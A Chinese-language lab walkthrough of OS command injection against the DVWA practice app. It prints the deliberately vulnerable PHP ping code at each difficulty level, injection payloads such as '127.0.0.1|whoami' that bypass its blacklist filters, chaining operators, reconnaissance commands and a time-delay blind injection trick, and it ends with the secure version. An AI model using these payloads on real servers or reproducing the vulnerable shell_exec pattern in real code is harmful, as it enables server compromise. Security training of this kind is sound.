OS命令注入
什么是OS命令注入
操作系统命令注入(也称为外壳程序注入)是一个网络安全漏洞,攻击者可以利用该漏洞在运行应用程序的服务器上执行任意操作系统(OS)命令。
程序员使用脚本语言(比如PHP )开发应用程序过程中,脚本语言开发十分快速、简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件)。当应用需要调用一些外部程序时就会用到一些系统命令的函数。
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行(也就是命令注入)漏洞 。
1. 用户输入作为拼接
2. 没有足够的过滤
漏洞危害
1. 继承Web 服务器程序权限(Web 用户权限),去执行系统命令【通过web应用去执行系统命令,继承的是web用户的权限】
2. 继承Web 服务器权限,读写文件
3. 反弹Shell(服务器主动连接攻击方就是反弹shell)
4. 控制整个网站
5. 控制整个服务器
在DVWA靶场中尝试命令行注入
打开靶场的Command Injection页面
难度:low
此时没有任何过滤
可以得知这是一个简单的ping功能页面
尝试一下ping几个IP地址看看有什么回显
源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
//我们在页面中的输入(ip)会被定义在变量target中
$target = $_REQUEST[ 'ip' ];
//判断是Windows系统还是*nix系列系统
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target ); //shell_exec该函数使页面和命令行有交互,类似功能的函数还有system()、exec()、passthru()、passthru()等;被放于反引号[``] 内的字符串,也会被解析成OS命令
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 输出在命令行中得到的回显
echo "<pre>{$cmd}</pre>";
}
?>
分析:
两个值得注意的方法:stristr与php_uname
Stristr(被搜索的字符串,要搜索的字符串)搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点)
Php_uname(’s’)是返回操作系统名称
源代码判断了是Windows系统,还是*nix系列系统,但对$target = $_REQUEST[ ‘ip’ ]; 中ip没有任何检查,所以用户可以直接把它当成我们的命令行使用
比如在IP地址后面加上 ; 然后后面跟上自己的命令
可以一次执行多行命令
如果你只想执行自己的命令,把前面的ping命令和谐掉,那就在框中输入127.0.0.1 | whoami
常见的拼接命令:
&,&&,|,||命令拼接符的区别 | |
---|---|
A&B | 拼接,A和B之间无制约关系 |
A&&B | A执行成功,之后才会执行B |
A|B | A的输出作为B的输入 |
A||B | A执行失败,之后才会执行B |
//以下三种连接符在windows和linux环境下都支持
command1 && command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1
command1 || command2 当command1执行失败时实行command2,当command执1行成功时只执行command1
常见的系统命令:
命令目的 Linux windows
当前用户名 whoami whoami
操作系统 uname -a ver
网络配置 ifconfig ipconfig /all
网络连接 netstat -an netstat -an
运行过程 ps -ef tasklist
以下命令仅在Unix系统中起到作用:
;
换行符(0x0a或\n)
payload:
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.1&&whoami
127.0.0.1;whoami
127.0.0.0.1||whoami 前面的命令执行失败后去执行后面
难度:Medium
源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
//得到输入(ip)的值
$target = $_REQUEST[ 'ip' ];
//设置黑名单
$substitutions = array(
'&&' => '',
';' => '',
);
//当存在黑名单时候,删除用户上传的所有字符
//str_replace(find,replace,string)去查找是否存在键名$$或者分号如果存在就会用后面的空给替换掉 array_keys返回包含所有数组键名的新数组
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
//判断操作系统,使用服务端的命令行执行ping命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
//返回结果给用户
echo "<pre>{$cmd}</pre>";
}
?>
payload:
127.0.0.1 |whoami
127.0.0.1| whoami
127.0.0.1 | whoami
127.0.0.1|whoami
127.0.0.0.1||whoami
127.0.0.1&;&whoami
难度:high
源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 得到用户的输入 trim() 函数移除字符串两侧的空白字符或其他预定义字符
$target = trim($_REQUEST[ 'ip' ]);
//设置黑名单
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
//当存在黑名单时候,删除用户上传的所有字符
//str_replace(find,replace,string)去查找是否存在键名$$或者分号如果存在就会用后面的空给替换掉 array_keys返回包含所有数组键名的新数组
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
//判断操作系统并执行命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
//给用户返回命令行得到的结果
echo "<pre>{$cmd}</pre>";
}
?>
payload:
127.0.0.1|whoami
127.0.0.1 |whoami
难度:impossible
源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 检查 Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 获取用户的输入 stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// 将IP分成四个字节 explode(separator,string,limit)把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。
$octet = explode( ".", $target );
// is_numeric(string)检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// 如果所有四个字节都是数字或数字字符串,就把IP放回一起
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// 判断操作系统,执行ping命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 反馈结果给用户
echo "<pre>{$cmd}</pre>";
}
else {
//否则就输出报错,提示输入IP无效
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// 生成 Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。
进阶
- 延迟注入:类似于SQL盲注
当页面没有回显的时候,可以使用时间延迟检测OS盲注
使用注入的命令来触发时间延迟,从而允许您根据应用程序响应的时间来确认命令已执行。该ping命令是执行此操作的有效方法,因为它使您可以指定要发送的ICMP数据包的数量,从而指定该命令的运行时间:
& ping -c 10 127.0.0.1 &
此命令将导致应用程序ping其环回网络适配器10秒钟。